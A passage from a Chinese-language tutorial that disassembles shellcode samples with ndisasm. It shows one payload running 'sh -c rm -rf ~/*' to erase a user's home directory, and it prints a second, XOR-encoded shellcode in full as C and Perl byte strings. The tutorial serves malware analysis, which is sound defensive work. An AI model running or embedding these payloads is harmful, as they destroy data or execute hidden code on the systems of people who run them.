开始几条指令可以改写为:
E825000000 call 0x2a
2F62696E2F736800 db "/bin/sh"
736800 db "sh"
2D6300 db "-c"
726d202D7266207E2F2A20323E2F6465762F6E756C6C00 db "rm -rf ~/* 2>/dev/null"
5D pop ebp
第一条指令为“call 0x2a”,接下来分析一下该指令调用的函数,即只保留0x2a(42)开始的指令的操作码。
root@linux:~/pentest# ./decode.py | cut -c 43- | ndisasm -u -
00000000 5D pop ebp
00000001 31C0 xor eax,eax
00000003 50 push eax
00000004 8D5D0E lea ebx,[ebp+0xe]
00000007 53 push ebx
00000008 8D5D0B lea ebx,[ebp+0xb]
0000000B 53 push ebx
0000000C 8D5D08 lea ebx,[ebp+0x8]
0000000F 53 push ebx
00000010 89EB mov ebx,ebp
00000012 89E1 mov ecx,esp
00000014 31D2 xor edx,edx
00000016 B00B mov al,0xb
00000018 CD80 int 0x80
0000001A 89C3 mov ebx,eax
0000001C 31C0 xor eax,eax
0000001E 40 inc eax
0000001F CD80 int 0x80
00000021 0A db 0x0a
root@linux:~/pentest#
可以看到这是一个execve系统调用,它使用数组“sh”“-c”“rm –rf ~/* 2>/dev/null”作为第二个参数。
这样,该shellcode的功能已经一目了然了。
第三个shellcode代码如下:
char shellcode[] = "\xeb\x11\x5e\x31\xc9\xb1\x65\x80\x74\x0e\xff".
"\x0a\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff".
"\xff\xff\x3b\xca\x3b\xd1\x3b\xd8\x5a\x60\x0b".
"\x60\x08\x83\xeb\xf4\xc9\xba\x6c\xc7\x8a\x83".
"\xcc\x58\x62\xb1\x08\x10\x70\x83\xeb\x60\x1a".
"\x5b\x5c\x83\xeb\xf4\xc9\xba\x6c\xc7\x8a\x58".
"\x5c\x83\xeb\xb9\x0e\xba\x6c\xc7\x8a\x58\x58".
"\x5c\x83\xeb\xf4\xc9\xba\x6c\xc7\x8a\x83\xc9".
"\x3b\xc3\xba\x35\xc7\x8a\x4b\xba\x35\xc7\x8a".
"\x4b\xba\x35\xc7\x8a\x58\x62\x25\x25\x79\x62".
"\x62\x25\x68\x63\x64\x83\xe9\x58\x59\x83\xeb".
"\xba\x01\xc7\x8a";
首先,使用perl输出这个shellcode,然后用ndisasm分析这个shellcode。
root@linux:~/pentest# cat shellcode.pl
#!/usr/bin/perl
$shellcode = "\xeb\x11\x5e\x31\xc9\xb1\x65\x80\x74\x0e\xff".
"\x0a\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff".
"\xff\xff\x3b\xca\x3b\xd1\x3b\xd8\x5a\x60\x0b".
"\x60\x08\x83\xeb\xf4\xc9\xba\x6c\xc7\x8a\x83".
"\xcc\x58\x62\xb1\x08\x10\x70\x83\xeb\x60\x1a".
"\x5b\x5c\x83\xeb\xf4\xc9\xba\x6c\xc7\x8a\x58".
"\x5c\x83\xeb\xb9\x0e\xba\x6c\xc7\x8a\x58\x58".
"\x5c\x83\xeb\xf4\xc9\xba\x6c\xc7\x8a\x83\xc9".
"\x3b\xc3\xba\x35\xc7\x8a\x4b\xba\x35\xc7\x8a".
"\x4b\xba\x35\xc7\x8a\x58\x62\x25\x25\x79\x62".
"\x62\x25\x68\x63\x64\x83\xe9\x58\x59\x83\xeb".
"\xba\x01\xc7\x8a";
open FILE,"> shellcode.bin";
print FILE $shellcode;
close FILE;
root@linux:~/pentest# ./shellcode.pl
root@linux:~/pentest# ndisasm -b32 shellcode.bin
00000000 EB11 jmp short 0x13
00000002 5E pop esi
00000003 31C9 xor ecx,ecx
00000005 B165 mov cl,0x65
00000007 80740EFF0A xor byte [esi+ecx-0x1],0xa
0000000C 80E901 sub cl,0x1
0000000F 75F6 jnz 0x7
00000011 EB05 jmp short 0x18
00000013 E8EAFFFFFF call dword 0x2
00000018 3BCA cmp ecx,edx
0000001A 3BD1 cmp edx,ecx
0000001C 3BD8 cmp ebx,eax
0000001E 5A pop edx
0000001F 60 pushad
00000020 0B6008 or esp,[eax+0x8]
00000023 83EBF4 sub ebx,byte -0xc
00000026 C9 leave
00000027 BA6CC78A83 mov edx,0x838ac76c
0000002C CC int3
0000002D 58 pop eax
0000002E 62B108107083 bound esi,[ecx-0x7c8feff8]
00000034 EB60 jmp short 0x96
00000036 1A5B5C sbb bl,[ebx+0x5c]
00000039 83EBF4 sub ebx,byte -0xc
0000003C C9 leave
0000003D BA6CC78A58 mov edx,0x588ac76c
00000042 5C pop esp
00000043 83EBB9 sub ebx,byte -0x47
00000046 0E push cs
00000047 BA6CC78A58 mov edx,0x588ac76c
0000004C 58 pop eax
0000004D 5C pop esp
0000004E 83EBF4 sub ebx,byte -0xc
00000051 C9 leave
00000052 BA6CC78A83 mov edx,0x838ac76c
00000057 C9 leave
00000058 3BC3 cmp eax,ebx
0000005A BA35C78A4B mov edx,0x4b8ac735
0000005F BA35C78A4B mov edx,0x4b8ac735
00000064 BA35C78A58 mov edx,0x588ac735
00000069 622525796262 bound esp,[dword 0x62627925]
0000006F 2568636483 and eax,0x83646368
00000074 E9585983EB jmp dword 0xeb8359d1
00000079 BA db 0xba
0000007A 01C7 add edi,eax
0000007C 8A db 0x8a
root@linux:~/pentest#